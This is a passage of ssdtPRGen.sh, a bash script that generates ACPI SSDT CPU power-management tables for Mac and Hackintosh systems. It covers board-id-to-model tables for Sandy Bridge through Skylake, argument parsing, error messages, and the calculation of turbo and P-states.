C1, C2, C3, C6 and C7 ;; Mac-06F11FD93F0323C5) gTargetMacModel="MacBookPro11,4" ;; Mac-06F11F11946D27C5) gTargetMacModel="MacBookPro11,5" ;; Mac-35C1E88140C3E6CF) gTargetMacModel="MacBookAir6,1" ;; Mac-7DF21CB3ED6977E5) gTargetMacModel="MacBookAir6,2" ;; Mac-35C5E08120C7EEAF) gSystemType=1 gTargetMacModel="Macmini7,1" ;; Mac-F60DEB81FF30ACF6) gSystemType=3 gTargetMacModel="MacPro6,1" gACST_CPU0=13 # C1, C3, C6 gACST_CPU1=13 # C1, C3, C6 ;; esac } # #-------------------------------------------------------------------------------- # function _initBroadwellSetup() { # # Global variable (re)initialisation. # gSystemType=2 gACST_CPU0=253 # C1, C3, C6, C7, C8, C9 and C10 gACST_CPU1=31 # C1, C2, C3, C6 and C7 # # Overrides are set below. # case $gBoardID in Mac-E43C1C25D4880AD6) gTargetMacModel="MacBookPro12,1" ;; Mac-9F18E312C5C2BF0B) gTargetMacModel="MacBookAir7,1" ;; Mac-937CB26E2E02BB01) gTargetMacModel="MacBookAir7,2" ;; Mac-BE0E8AC46FE800CC) gTargetMacModel="MacBook8,1" ;; Mac-F305150B0C7DEEEF) gTargetMacModel="MacBook8,2" ;; Mac-A369DDC4E67F1C45) gSystemType=1 gTargetMacModel="iMac16,1" ;; Mac-FFE5EF870D7BA81A) # Retina 4K, 21.5-inch, Core i5 3.1GHz gSystemType=1 gTargetMacModel="iMac16,2" ;; esac } # #-------------------------------------------------------------------------------- # function _initSkylakeSetup() { # # Global variable (re)initialisation. # gSystemType=2 gACST_CPU0=253 # C1, C3, C6, C7, C8, C9 and C10 gACST_CPU1=31 # C1, C2, C3, C6 and C7 # # Overrides are set below. # case $gBoardID in Mac-9AE82516C7C6B903) # Retina, 12-inch, Intel Core m3/m3 gTargetMacModel="MacBook9,1" ;; Mac-65CE76090165799A) # Retina 5K, 27-inch, Intel Core i7 4.0GHz gSystemType=1 gTargetMacModel="iMac17,1" ;; Mac-B809C3757DA9BB8D) # Retina 5K, 27-inch, Intel Core i5 3.3GHz gSystemType=1 gTargetMacModel="iMac17,1" ;; Mac-DB15BD556843C820) # Retina 5K, 27-inch, Intel Core i5 3.2GHz gSystemType=1 gTargetMacModel="iMac17,1" ;; Mac-65CE76090165799A) # Retina 5K, 27-inch gTargetMacModel="iMac17,1" gSystemType=1 ;; esac } # #-------------------------------------------------------------------------------- # function _exitWithError() { case "$1" in 2) _PRINT_MSG "\nError: 'MaxTurboFrequency' must be in the range of $frequency-$gMaxOCFrequency ..." _ABORT 2 ;; 3) _PRINT_MSG "\nError: -t [TDP] must be in the range of 11.5 - 150 Watt ..." _ABORT 3 ;; 4) _PRINT_MSG "\nError: 'BridgeType' must be 0, 1, 2 or 3 ..." _ABORT 4 ;; 5) printf "\e[A\e[K" _PRINT_MSG "\nError: Unknown processor model ..." if [[ $2 -eq 0 ]]; then printf " Visit http://ark.intel.com to gather the required data:\n" printf " Processor Number\n" printf " TDP\n" printf " Low Frequency Mode (use AppleIntelInfo.kext)\n" printf " Base Frequency\n" printf " Max Turbo Frequency\n" printf " Cores\n" printf " Threads\n" fi _ABORT 5 ;; 6) _PRINT_MSG "\nError: Processor label length is less than 3 ..." _ABORT 6 ;; 7) _PRINT_MSG "\nError: Processor name(s) not found ..." _ABORT 7 ;; 8) _PRINT_MSG "\nError: Processor Declarations not found ..." _ABORT 8 ;; 9) _PRINT_MSG "\nError: File not found ..." _ABORT 9 ;; 10) _PRINT_MSG "\nError: Low Frequency Mode is 0 ..." _ABORT 10 ;; *) _ABORT 1 ;; esac } # #-------------------------------------------------------------------------------- # function _confirmUnsupported() { _PRINT_MSG "$1" read -p "Do you want to continue (y/n)? " unsupportedConfirmed case "$unsupportedConfirmed" in y|Y) return ;; *) exit 1 ;; esac } # #-------------------------------------------------------------------------------- # function _invalidArgumentError() { _PRINT_MSG "\nError: Invalid argument detected: ${1} (check ssdtPRGen.sh -h)" _ABORT } # #-------------------------------------------------------------------------------- # function _showSupportedBoardIDsAndModels() { # # Save default (0) delimiter. # local ifs=$IFS # # Setup a local variable pointing to a list with supported model data. # case "$1" in 'Sandy Bridge') local modelDataList="gSandyBridgeModelData[@]" ;; 'Ivy Bridge') local modelDataList="gIvyBridgeModelData[@]" ;; Haswell) local modelDataList="gHaswellModelData[@]" ;; Broadwell) local modelDataList="gBroadwellModelData[@]" ;; Skylake) local modelDataList="gSkylakeModelData[@]" ;; esac # # Split 'modelDataList' into array. # local targetList=("${!modelDataList}") printf "${STYLE_BOLD}$1${STYLE_RESET}\n" # # Change delimiter to a colon character. # IFS=":" # # Loop through target list. # for modelData in "${targetList[@]}" do # # Split 'modelData' into array. # local data=($modelData) echo "${data[0]} / ${data[1]}" done # # Restore the default (0) delimiter. # IFS=$ifs # # Print extra newline for a cleaner layout. # printf "\n" } # #-------------------------------------------------------------------------------- # function _checkLibraryDirectory() { # # Are we running in the Github project directory? # if [ $gDeveloperMode -eq 1 ] && [ -d .git ] && [ -f .gitIgnore ] && [ -f CHANGELOG.md ] && [ -f CONTRIBUTORS.md ] && [ -f README.md ] && [ -d Data ] && [ -f Data/Broadwell.cfg ] && [ -f Data/Haswell.cfg ] && [ -f "Data/Ivy bridge.cfg" ] && [ -f Data/Models.cfg ] && [ -f Data/Restrictions.cfg ] && [ -f "Data/Sandy Bridge.cfg" ] && [ -f Data/Skylake.cfg ] && [ -d Tools ] && [ -f Tools/extractACPITables.zip ] && [ -f Tools/iasl.zip ] && [ -f Tools/Makefile ] && [ -f ssdtPRGen.sh ]; then # # Yes. Update path info. # gPath="$(pwd)" gDataPath="${gPath}/Data" gToolPath="${gPath}/Tools" gSsdtPR="${gPath}/${gSsdtID}.dsl" # # Write preferences with path info for extractACPITables v0.7 and greater. # defaults write com.wordpress.pikeralpha ssdtPRGenData $gDataPath defaults write com.wordpress.pikeralpha ssdtPRGenTools $gToolPath else # # Do we have the required Data directory? # if [ ! -d "${gDataPath}" ]; then mkdir -p "${gDataPath}" fi _checkForConfigFile "Models.cfg" # # Is the return value of _checkForConfigFile 1? # if [[ $? -eq 1 ]]; then curl -o "${gDataPath}/Models.cfg" --silent "${gGitHubContentURL}/Data/Models.cfg" fi fi # # Load model data. # source "${gDataPath}/Models.cfg" } # #-------------------------------------------------------------------------------- # function _showSystemData { printf "\n${STYLE_BOLD}System information${STYLE_RESET}: $gProductName $gProductVersion ($gBuildVersion)\n" # # Show brandstring (this helps me to debug stuff). # gBrandString=$(echo `sysctl machdep.cpu.brand_string` | sed -e 's/machdep.cpu.brand_string: //') printf "${STYLE_BOLD}Brandstring${STYLE_RESET}: \"${gBrandString}\"\n\n" } # #-------------------------------------------------------------------------------- # function _getScriptArguments() { local currentPath=$(pwd) # # Are we fired up with arguments? # if [ $# -gt 0 ]; then # # Yes. Do we have a single (-h or -help) argument? # local argument=$(echo "$1" | tr '[:upper:]' '[:lower:]') if [[ $# -eq 1 && "$argument" == "-h" || "$argument" == "-help" ]]; then printf "\n${STYLE_BOLD}Usage:${STYLE_RESET} ./ssdtPRGen.sh [-abcdefghiklmnoprsutwx]\n" printf " -${STYLE_BOLD}a${STYLE_RESET}cpi Processor name (example: CPU0, C000)\n" printf " -${STYLE_BOLD}bclk${STYLE_RESET} frequency (base clock frequency)\n" printf " -${STYLE_BOLD}b${STYLE_RESET}oard-id (example: Mac-F60DEB81FF30ACF6)\n" printf " -${STYLE_BOLD}cpus${STYLE_RESET} number of physical processors [1-4]\n" printf " -${STYLE_BOLD}d${STYLE_RESET}ebug output [0-3]\n" printf " 0 = no debug injection/debug output\n" printf " 1 = inject debug statements in: ${gSsdtID}.dsl\n" printf " 2 = show debug output\n" printf " 3 = both\n" printf " -${STYLE_BOLD}developer${STYLE_RESET} mode [0-1]\n" printf " 0 = disabled – Use files from: ${gPath}\n" printf " 1 = enabled – Use files from: ${currentPath}\n" printf " -${STYLE_BOLD}extract${STYLE_RESET} ACPI tables to [target path]\n" printf " -${STYLE_BOLD}f${STYLE_RESET}requency (clock frequency)\n" printf " -${STYLE_BOLD}h${STYLE_RESET}elp info (this)\n" printf " -${STYLE_BOLD}lfm${STYLE_RESET}ode, lowest idle frequency\n" printf " -${STYLE_BOLD}l${STYLE_RESET}ogical processors [2-128]\n" printf " -${STYLE_BOLD}mode${STYLE_RESET} script mode [normal/custom]:\n" printf " normal – Use ACPI/IOREG data from the host computer\n" printf " custom – Use ACPI data from: ${gOverridePath/APIC.aml}\n" printf " – : ${gOverridePath/DSDT.aml}\n" printf " -${STYLE_BOLD}m${STYLE_RESET}odel (example: MacPro6,1)\n" printf " -${STYLE_BOLD}o${STYLE_RESET}pen the previously generated SSDT\n" printf " -${STYLE_BOLD}p${STYLE_RESET}rocessor model (example: 'E3-1285L v3')\n" printf " -${STYLE_BOLD}show${STYLE_RESET} supported board-id and model combinations:\n" printf " Sandy Bridge\n" printf " Ivy Bridge\n" printf " Haswell\n" printf " Broadwell\n" printf " Skylake\n" printf " -${STYLE_BOLD}target${STYLE_RESET} CPU type:\n" printf " 0 = Sandy Bridge\n" printf " 1 = Ivy Bridge\n" printf " 2 = Haswell\n" printf " 3 = Broadwell\n" printf " 4 = Skylake\n" printf " -${STYLE_BOLD}turbo${STYLE_RESET} maximum (turbo) frequency:\n" printf " 6300 for Sandy Bridge and Ivy Bridge\n" printf " 8000 for Haswell and Broadwell\n" printf " -${STYLE_BOLD}t${STYLE_RESET}dp [11.5 - 150]\n" printf " -${STYLE_BOLD}w${STYLE_RESET}orkarounds for Ivy Bridge:\n" printf " 0 = no workarounds\n" printf " 1 = inject extra (turbo) P-State at the top with maximum (turbo) frequency + 1 MHz\n" printf " 2 = inject extra P-States at the bottom\n" printf " 3 = both\n" printf " -${STYLE_BOLD}x${STYLE_RESET}cpm mode:\n" printf " 0 = XCPM mode disabled\n" printf " 1 = XCPM mode enabled\n\n" # # Stop script (success). # exit 0 fi if [[ $# -eq 1 && "$argument" == "-show" ]]; then printf "\nSupported board-id / model combinations for:\n" echo -e "--------------------------------------------\n" _showSupportedBoardIDsAndModels "Skylake" _showSupportedBoardIDsAndModels "Broadwell" _showSupportedBoardIDsAndModels "Haswell" _showSupportedBoardIDsAndModels "Ivy Bridge" _showSupportedBoardIDsAndModels "Sandy Bridge" # # Stop script (success). # exit 0 fi if [[ $# -eq 2 && "$argument" == "-show" ]]; then printf "\nSupported board-id / model combinations for:\n" echo -e "--------------------------------------------\n" case "$(echo $2 | tr '[:lower:]' '[:upper:]')" in SANDY* ) _showSupportedBoardIDsAndModels "Sandy Bridge" ;; IVY* ) _showSupportedBoardIDsAndModels "Ivy Bridge" ;; HASWELL ) _showSupportedBoardIDsAndModels "Haswell" ;; BROADWELL) _showSupportedBoardIDsAndModels "Broadwell" ;; SKYLAKE) _showSupportedBoardIDsAndModels "Skylake" ;; esac # # Stop script (success). # exit 0 else _showSystemData # # Figure out what arguments are used. # while [ "$1" ]; do # # Store lowercase value of $1 in $flag # local flag=$(echo "$1" | tr '[:upper:]' '[:lower:]') # # Is this a valid flag? # # Note 'uro' was only added to support '-turbo' # if [[ "${flag}" =~ ^[-abcdefghiklmnoprsutvwx]+$ ]]; then # # Yes. Figure out what flag it is. # case "${flag}" in -a|-acpi) shift if [[ "$1" =~ ^[a-zA-Z0-9]+$ ]]; then if [ ${#1} -eq 4 ]; then gProcLabel=$(echo "$1" | tr '[:lower:]' '[:upper:]') _PRINT_MSG "Override value: (-acpi) label for ACPI Processors, now using '${gProcLabel}'!" else _exitWithError $PROCESSOR_LABEL_LENGTH_ERROR fi else _invalidArgumentError "-a $1" fi ;; -bclk) shift if [[ "$1" =~ ^[0-9]+$ ]]; then if [[ $1 < 167 ]]; then _PRINT_MSG "Override value: (-bclk) frequency, now using: ${1} MHz!" let gBusFrequency=$1 else _invalidArgumentError "-bclk $1 (use 100, 133 or 166)" fi else _invalidArgumentError "-bclk $1" fi ;; -b) shift if [[ "$1" =~ ^Mac-[0-9A-F]+$ ]]; then if [[ $gBoardID != "$1" ]]; then gBoardID=$1 _PRINT_MSG "Override value: (-b) board-id, now using: ${gBoardID}!" fi else _invalidArgumentError "-b $1" fi ;; -cpus) shift if [[ "$1" =~ ^[1-4]+$ ]]; then # # Sanity checking. # if [[ $1 -gt 0 && $1 -lt 5 ]]; then let gPhysicalCPUs=$1 _PRINT_MSG "Override value: (-cpus) number of processors, now using: ${1}!" else _invalidArgumentError "-cpus $1" fi else _invalidArgumentError "-cpus $1" fi ;; -developer) shift if [[ "$1" =~ ^[01]+$ ]]; then if [[ $gDeveloperMode -ne $1 ]]; then let gDeveloperMode=$1 _PRINT_MSG "Override value: (-developer) mode, now using: ${gDebug}!" fi else _invalidArgumentError "-developer $1" fi ;; -d) shift if [[ "$1" =~ ^[0123]+$ ]]; then if [[ $gDebug -ne $1 ]]; then let gDebug=$1 _PRINT_MSG "Override value: (-d) debug mode, now using: ${gDebug}!" fi else _invalidArgumentError "-d $1" fi ;; -extract) shift if [[ "$1" == "." || "$1" == " " ]]; then # # Get current path for extractACPITables v0.6 and greater. # gExtractionPath="${currentPath}" else # # Use given path for extractACPITables v0.6 and greater. # gExtractionPath="${1}" fi ;; -f) shift if [[ "$1" =~ ^[0-9]+$ ]]; then _PRINT_MSG "Override value: (-f) clock frequency, now using: ${1} MHz!" let gFrequency=$1 else _invalidArgumentError "-f $1" fi ;; -lfm) shift let gLfm=$1 _PRINT_MSG "Override value: (-lfm) low frequency mode, now using: ${gLfm}!" ;; -l) shift if [[ "$1" =~ ^[0-9]+$ ]]; then # # Sanity checking. # if [[ $1 -gt 1 && $1 -lt 129 ]]; then let gLogicalCPUs=$1 _PRINT_MSG "Override value: (-l) number of logical processors, now using: ${gLogicalCPUs}!" else _invalidArgumentError "-l $1" fi else _invalidArgumentError "-l $1" fi ;; -mode) shift argument=$(echo "$1" | tr '[:upper:]' '[:lower:]') if [[ "$argument" == "normal" ]]; then if [[ $gCustomMode -eq 0 ]]; then _PRINT_MSG "Override value: (-mode) ignored, script mode is already set to normal!" else _PRINT_MSG "Override value: (-mode) script mode changed to normal!" let gCustomMode=0 fi elif [[ "$argument" == "custom" ]]; then if [[ $gCustomMode -eq 1 ]]; then _PRINT_MSG "Override value: (-mode) ignored, script mode is already set to custom!" else _PRINT_MSG "Override value: (-mode) script mode changed to custom!" let gCustomMode=1 fi else _invalidArgumentError "-mode $1" fi ;; -m) shift if [[ "$1" =~ ^[a-zA-Z,0-9]+$ ]]; then if [[ "$gModelID" != "$1" ]]; then _PRINT_MSG "Override value: (-m) model, now using: ${1}!" gModelID="$1" fi else _invalidArgumentError "-m $1" fi ;; -o|-open) shift if [ -e "$gSsdtPR" ]; then open -e "$gSsdtPR" else _exitWithError $FILE_NOT_FOUND_ERROR fi exit 0 ;; -p) shift if [[ "$1" =~ ^[a-zA-Z0-9\ \-]+$ ]]; then if [ "$gProcessorNumber" != "$1" ]; then let gTargetProcessorType=1 # # Sandy Bridge checks. # if [[ ${1:0:4} == "i3-2" || ${1:0:4} == "i5-2" || ${1:0:4} == "i7-2" ]]; then let gTargetProcessorType=2 fi # # Ivy Bridge checks. # if [[ ${1:0:4} == "i3-3" || ${1:0:4} == "i5-3" || ${1:0:4} == "i7-3" ]]; then let gTargetProcessorType=4 fi # # Haswell/Haswell-E checks. # if [[ ${1:0:4} == "i3-4" || ${1:0:4} == "i5-4" || ${1:0:4} == "i7-4" || ${1:0:4} == "i7-5" ]]; then let gTargetProcessorType=5 fi # # Skylake checks. # if [[ ${1:0:4} == "i5-6" || ${1:0:4} == "i7-6" ]]; then let gTargetProcessorType=5 fi # # Xeon check. # if [[ ${1:0:1} == "E" ]]; then let gTargetProcessorType=7 fi # # Set processor model override and inform user about the change. # if [ $gTargetProcessorType -gt 0 ]; then gProcessorNumber=$1 _PRINT_MSG "Override value: (-p) processor model, now using: ${gProcessorNumber}!" else gProcessorNumber="" fi fi else _invalidArgumentError "-p $1" fi ;; -target) shift if [[ "$1" =~ ^[01234]+$ ]]; then local detectedBridgeType=$gBridgeType case "$1" in 0) local bridgeType=$SANDY_BRIDGE local bridgeTypeString="Sandy Bridge" ;; 1) local bridgeType=$IVY_BRIDGE local bridgeTypeString="Ivy Bridge" ;; 2) local bridgeType=$HASWELL local bridgeTypeString="Haswell" ;; 3) local bridgeType=$BROADWELL local bridgeTypeString="Broadwell" ;; 4) local bridgeType=$SKYLAKE local bridgeTypeString="Skylake" ;; esac if [[ $detectedBridgeType -ne $((2 << $1)) ]]; then let gBridgeType=$bridgeType _PRINT_MSG "Override value: (-target) CPU, now using: ${bridgeTypeString}!" fi else _exitWithError $TARGET_CPU_ERROR fi ;; -turbo) shift if [[ "$1" =~ ^[0-9]+$ ]]; then # # Sanity checking. # if [[ $1 -gt $gMaxOCFrequency ]]; then _exitWithError $MAX_TURBO_FREQUENCY_ERROR else _PRINT_MSG "Override value: (-turbo) maximum (turbo) frequency, now using: ${1} MHz!" let gMaxTurboFrequency=$1 fi else _invalidArgumentError "-turbo $1" fi ;; -t|-tdp) shift if [[ "$1" =~ ^[0-9]+$ ]]; then # # Sanity checking. # if [[ $1 -lt 11 || $1 -gt 150 ]]; then _exitWithError $MAX_TDP_ERROR else let gTdp=$1 _PRINT_MSG "Override value: (-t) maximum TDP, now using: ${gTdp} Watt!" fi elif [[ "$1" =~ ^[0-9\.]*$ ]]; then # # Sanity checking. # if [[ $1 < "11.5" || $1 > "150" ]]; then _exitWithError $MAX_TDP_ERROR else gTdp="$1" _PRINT_MSG "Override value: (-t) maximum TDP, now using: ${gTdp} Watt!" fi else _invalidArgumentError "-t $1" fi ;; -w) shift if [[ "$1" =~ ^[0123]+$ ]]; then if [[ $gIvyWorkAround -ne $1 ]]; then let gIvyWorkAround=$1 _PRINT_MSG "Override value: (-w) Ivy Bridge workarounds, now set to: ${1}!" fi # # Running on Sandy Bridge platform? # if [[ $gBridgeType -eq $SANDY_BRIDGE ]]; then # # Yes. Change it to Ivy Bridge. # gBridgeType=$IVY_BRIDGE _PRINT_MSG "Override value: CPU type changed, now using: Ivy Bridge!" fi else _invalidArgumentError "-w $1" fi ;; -x) shift if [[ "$1" =~ ^[01]+$ ]]; then let gXcpm=$1 _PRINT_MSG "Override value: (-x) XCPM mode, now set to: ${1}!" else _invalidArgumentError "-x $1" fi ;; *) _invalidArgumentError "$1" ;; esac else _invalidArgumentError "$1" fi shift; done; fi echo '' else _showSystemData fi } # #-------------------------------------------------------------------------------- # function _checkLFMCompatibility() { _checkForConfigFile "Restrictions.cfg" if [[ $? -eq 1 ]]; then _PRINT_MSG "Notice: Downloading Restrictions.cfg ..." curl -o "${gDataPath}/Restrictions.cfg" --silent "${gGitHubContentURL}/Data/Restrictions.cfg" fi source "${gDataPath}/Restrictions.cfg" for boardID in "${gBoardIDsWithLFMRestrictions[@]}" do if [[ "$boardID" == "$gBoardID" ]]; then _PRINT_MSG "\nNotice: The LFM frequency in $gBoardID.plist is set to 1300MHz!" printf "\tThis problem can be fixed with help of freqVectorsEdit.sh from:\n" printf "\thttps://github.com/Piker-Alpha/freqVectorsEdit.sh\n\n" return fi done } # #-------------------------------------------------------------------------------- # function main() { # # Local variable definitions. # local turboStates local assumedTDP local maxTurboFrequency local modelSpecified let assumedTDP=0 let maxTurboFrequency=0 printf "\n${STYLE_BOLD}ssdtPRGen.sh${STYLE_RESET} v0.9 Copyright (c) 2011-2012 by † RevoGirl\n" echo ' v6.6 Copyright (c) 2013 by † Jeroen' printf " v$gScriptVersion Copyright (c) 2013-$(date "+%Y") by Pike R. Alpha\n" echo '-----------------------------------------------------------' printf "${STYLE_BOLD}Bugs${STYLE_RESET} > https://github.com/Piker-Alpha/ssdtPRGen.sh/issues <\n" _checkSourceFilename _getScriptArguments "$@" _checkLibraryDirectory # # Fired up with -mode custom? # if [[ $gCustomMode -eq 0 ]]; then # # No. Extract ACPI data from host computer. # _extractAcpiTables fi # # Convert APIC.aml and DSDT.aml into data files. # _convertACPIFiles _getEnabledProcessors _getProcessorNames # # # if [[ $gCustomMode -eq 1 ]]; then # # Yes. Show some basic info (in case we need the log). # _PRINT_MSG "\nNotice: Custom mode enabled" printf "\tSkipping ACPI table extraction from host computer!\n\tGetting enabled Processors from...: ${gOverridePath}/APIC.aml\n" printf "\tGetting Processor declaration from: ${gOverridePath}/DSDT.aml\n" printf "\tUsed ACPI processor labels: " # # Check number of logical processors. Less/equal than 8? # if [[ ${#gProcessorNames[@]} -le 8 ]]; then # # Yes. Use the same line. # echo -e "${gProcessorNames[@]}\n" else # # No. Use (a) new line(s) to show the processor names. # let nameCount=0 # # Use (a) new line(s) to show the processor names. # printf "\n\t–" # # loop through all processorNames. # for processorName in "${gProcessorNames[@]}" do if [[ $nameCount -eq $gLogicalCPUsPerScope ]]; then printf "\n\t–" fi printf " ${processorName}" let nameCount+=1 done fi printf "\n\n" fi # # Set local variable from global function variable. # let modelSpecified=$gTargetProcessorType # # Model override (-m) argument used? # if [[ $gModelID == "" ]]; then # # No. Get model from ioreg. # _getModelID fi # # Check if -c argument wasn't used. # # Note: Only happens if we failed to locate the processor data! # if [[ $gBridgeType -eq -1 ]]; then local model=$(_getCPUModel) case $model in # Sandy Bridge 0x2A) let gTdp=95 let gBridgeType=2 ;; # Sandy Bridge Xeon 0x2D) let assumedTDP=1 let gTdp=130 let gBridgeType=2 ;; # Ivy Bridge, Ivy Bridge EX and Ivy Bridge Xeon 0x3A|0x3B|0x3E) let assumedTDP=1 let gTdp=77 let gBridgeType=4 ;; # Haswell 0x3C) let assumedTDP=1 let gTdp=84 let gBridgeType=8 let gMaxOCFrequency=8000 ;; # Haswell SVR 0x3F) let assumedTDP=1 let gTdp=130 let gBridgeType=8 ;; # Haswell ULT 0x45) let assumedTDP=1 let gTdp=15 let gBridgeType=8 ;; *) _confirmUnsupported 'Error: Unknown/unsupported processor model detected!\n' ;; esac fi # # Board-id override (-b) argument used? # if [[ $gBoardID == "" ]]; then # # No. Get board-id from ioreg. # _getBoardID fi _checkLFMCompatibility case $gBridgeType in 2) local bridgeTypeString="Sandy Bridge" ;; 4) local bridgeTypeString="Ivy Bridge" ;; 8) local bridgeTypeString="Haswell" ;; 16) local bridgeTypeString="Broadwell" ;; 32) local bridgeTypeString="Skylake" ;; *) local bridgeTypeString="Unknown" ;; esac local cpu_type=$(_getCPUtype) local currentSystemType=$(_getSystemType) local cpuSignature=$(_getCPUSignature) echo "Generating ${gSsdtID}.dsl for a '${gModelID}' with board-id [${gBoardID}]" # # Intel Core processor model? # if [ $modelSpecified -eq 1 ]; then echo "Intel $gProcessorNumber processor [$cpuSignature] setup [0x${cpu_type}]" else echo "$bridgeTypeString Core $gProcessorNumber processor [$cpuSignature] setup [0x${cpu_type}]" fi # # gTypeCPU is greater than 0 when the processor is found in one of the CPU lists # if [ $gTypeCPU -gt 0 ]; then # # -t argument used? # if [[ "$gTdp" > "0" ]]; then echo "With a maximum TDP of '$gTdp' Watt, as specified by argument: -t ${gTdp}" else # # No. Get TDP from CPU data. # gTdp=${gProcessorData[1]} echo 'With a maximum TDP of '$gTdp' Watt, as specified by Intel' if [[ $assumedTDP -eq 1 ]]; then echo "With a maximum TDP of ${gTdp} Watt - assumed/undetected CPU may require override value!" fi fi # # Check if -lfm argument was used. # if [[ $gLfm -gt 0 ]]; then # # Yes. Use override value. # let lfm=$gLfm else # # No. Get LFM from CPU data. # let lfm=${gProcessorData[2]} fi # # Check if -f argument is used. # if [[ $gFrequency -gt 0 ]]; then # # Yes. Use override frequency. # let frequency=$gFrequency else # # No. Get clock frequency from CPU data. # let frequency=${gProcessorData[3]} fi # # Check if -turbo argument is used. # if [[ $gMaxTurboFrequency -gt 0 ]]; then let maxTurboFrequency=$gMaxTurboFrequency else let maxTurboFrequency=${gProcessorData[4]} fi # # Sanity check. # if [ $maxTurboFrequency == 0 ]; then let maxTurboFrequency=$frequency fi # # Check if -l argument is used. # if [ $gLogicalCPUs -eq 0 ]; then # # No. Get thread count (logical cores) from CPU data. # let gLogicalCPUs=${gProcessorData[6]} fi # # Restore the default (0) delimiter. # IFS=$ifs # # Check Low Frequency Mode (may be 0 aka still unknown) # if [ $lfm -gt 0 ]; then let gBaseFrequency=$lfm else _PRINT_MSG "\nWarning: Low Frequency Mode is 0 (unknown/unconfirmed)" if [ $gTypeCPU == $gMobileCPU ]; then echo -e " Now using 1200 MHz for Mobile processor\n" let gBaseFrequency=1200 else echo -e " Now using 1600 MHz for Server/Desktop processors\n" let gBaseFrequency=1600 fi fi # # Check Ivy Bridge, XCPM mode and if -w argument is used. # if [[ $gBridgeType -eq $IVY_BRIDGE && $gXcpm -eq -1 && $gIvyWorkAround -eq -1 ]]; then if [[ $gOSVersion -gt 10100 ]]; then let gIvyWorkAround=3; else let gIvyWorkAround=2; fi fi else printf "Processor NOT matched, checking required arguments!\n" # # Check if -lfm argument was used. # if [[ $gLfm -eq 0 ]]; then _exitWithError $LFM_ERROR fi # # Check if -t argument was used. # if [[ $gTdp -eq 0 ]]; then _exitWithError $MAX_TDP_ERROR fi # # No CPU data found. Check if -l argument is used. # if [ $gLogicalCPUs -eq 0 ]; then # # No. Get thread count (logical cores) from the running system. # let gLogicalCPUs=$(sysctl machdep.cpu.thread_count | awk '{ print $2 }') fi # # Check if -f argument is used. # if [ $gFrequency -eq -1 ]; then # # No. Get the clock frequency from the running system. # let frequency=$(sysctl hw.cpufrequency | awk '{ print($2) / 1000000 }') let gFrequency=frequency _PRINT_MSG "Warning: Core Frequency is unknown, now using $gFrequency MHz from sysctl hw.cpufrequency!" else let frequency=$gFrequency fi # # Check if -turbo argument is used. # if [[ $gMaxTurboFrequency -gt 0 ]]; then let maxTurboFrequency=$gMaxTurboFrequency else let maxTurboFrequency=$frequency let gMaxTurboFrequency=$frequency _PRINT_MSG "Warning: Maximum Turbo Frequency is unknown, now using $gMaxTurboFrequency MHz from Core Frequency!" fi let gCoreCount=$(sysctl machdep.cpu.core_count | awk '{ print $2 }') printf "${gProcessorNumber},${gTdp},${gLfm},${gFrequency},${gMaxTurboFrequency},${gCoreCount},${gLogicalCPUs}\n" fi echo "Number logical CPU's: $gLogicalCPUs (Core Frequency: $frequency MHz)" # if [ $gLogicalCPUs -gt "${#gProcessorNames[@]}" ]; # then # _updateProcessorNames $gLogicalCPUs # fi # # Check maxTurboFrequency # if [ $maxTurboFrequency -eq 0 ]; then _exitWithError $MAX_TURBO_FREQUENCY_ERROR fi # # Get number of Turbo states. # # let turboStates=$(printf "%.f" $(echo "scale=1;((($maxTurboFrequency - $frequency) / $gBusFrequency)+0.5)" | bc)) let turboStates=$(echo "(($maxTurboFrequency - $frequency) / $gBusFrequency)" | bc) # # # Check number of Turbo states. # if [ $turboStates -lt 0 ]; then let turboStates=0 fi # # Report number of Turbo States # if [ $turboStates -gt 0 ]; then let minTurboFrequency=($frequency+$gBusFrequency) echo "Number of Turbo States: $turboStates ($minTurboFrequency-$maxTurboFrequency MHz)" else echo "Number of Turbo States: 0" fi local packageLength=$(echo "((($maxTurboFrequency - $gBaseFrequency)+$gBusFrequency) / $gBusFrequency)" | bc) echo "Number of P-States: $packageLength ($gBaseFrequency-$maxTurboFrequency MHz)" _printHeader # # Check if -cpus argument is used. # if [[ $gPhysicalCPUs -gt 1 ]]; then let gLogicalCPUsPerScope=$gLogicalCPUs/$gPhysicalCPUs else let gLogicalCPUsPerScope=$gLogicalCPUs/${#gScope[@]} if [[ 0 -eq 1 ]]; then exit -1 fi fi # # Do we need to inject External () objects? # if [[ $gInjectExternalObjects -eq 1 ]]; then # # Yes. Inject External () objects for all processor declarations. # _printExternalObjects fi _checkForXCPM case "$gBridgeType" in $SANDY_BRIDGE) local cpuTypeString="06" _initSandyBridgeSetup ;; $IVY_BRIDGE) local cpuTypeString="07" _initIvyBridgeSetup ;; $HASWELL) local cpuTypeString="08" _initHaswellSetup ;; $BROADWELL) local cpuTypeString="09" _initBroadwellSetup ;; $SKYLAKE) local cpuTypeString="09" _initSkylakeSetup ;; esac let scopeIndex=0 # # Loop through all processor scopes. # for scope in "${gScope[@]}" do # # Are we done yet? # if [[ $gLogicalCPUsPerScope*$scopeIndex -ge $gLogicalCPUs ]]; then # # Yes. Add closing bracket to the end of the injected data. # echo '}' >> "$gSsdtPR" # # Break out the do loop. # break; else # # No. Continue. # _printScopeStart $scopeIndex $turboStates $packageLength $maxTurboFrequency _printPackages $frequency $turboStates $maxTurboFrequency _printScopeACST 0 if [ $scopeIndex -eq 0 ]; then _printMethodDSM else if [ $gBridgeType -ge $IVY_BRIDGE ]; then echo ' }' >> "$gSsdtPR" fi fi _printScopeCPUn $scopeIndex let scopeIndex+=1 fi done # # Is this a MacPro6,1 model? # if [[ $gModelID == 'MacPro6,1' ]]; then # # Yes. Use the correct string/value for the cpu-type suggestion. # local cpuTypeString="0a" fi _showLowPowerStates _checkPlatformSupport # # Some Sandy Bridge/Ivy Bridge CPUPM specific configuration checks # if [[ $gBridgeType -ne $HASWELL ]]; then if [[ ${cpu_type:0:2} != $cpuTypeString ]]; then _PRINT_MSG "Warning: 'cpu-type' may be set improperly (0x${cpu_type} instead of 0x${cpuTypeString}${cpu_type:2:2})" fi if [[ $gSystemType -eq 0 ]]; then _PRINT_MSG "Warning: 'board-id' [${gBoardID}] is not supported by ${bridgeTypeString} power management" else if [ "${gTargetMacModel}" == "" ]; then _confirmUnsupported "\nError: board-id [${gBoardID}] not supported by ${bridgeTypeString} – check SMBIOS data / use the -target option\n" elif [ "$gTargetMacModel" != "$gModelID" ]; then _confirmUnsupported 'Warning: board-id ['$gBoardID'] and model ['$gModelID'] mismatch – check SMBIOS data\n' fi fi fi if [ $currentSystemType -ne $gSystemType ]; then _PRINT_MSG "Warning: 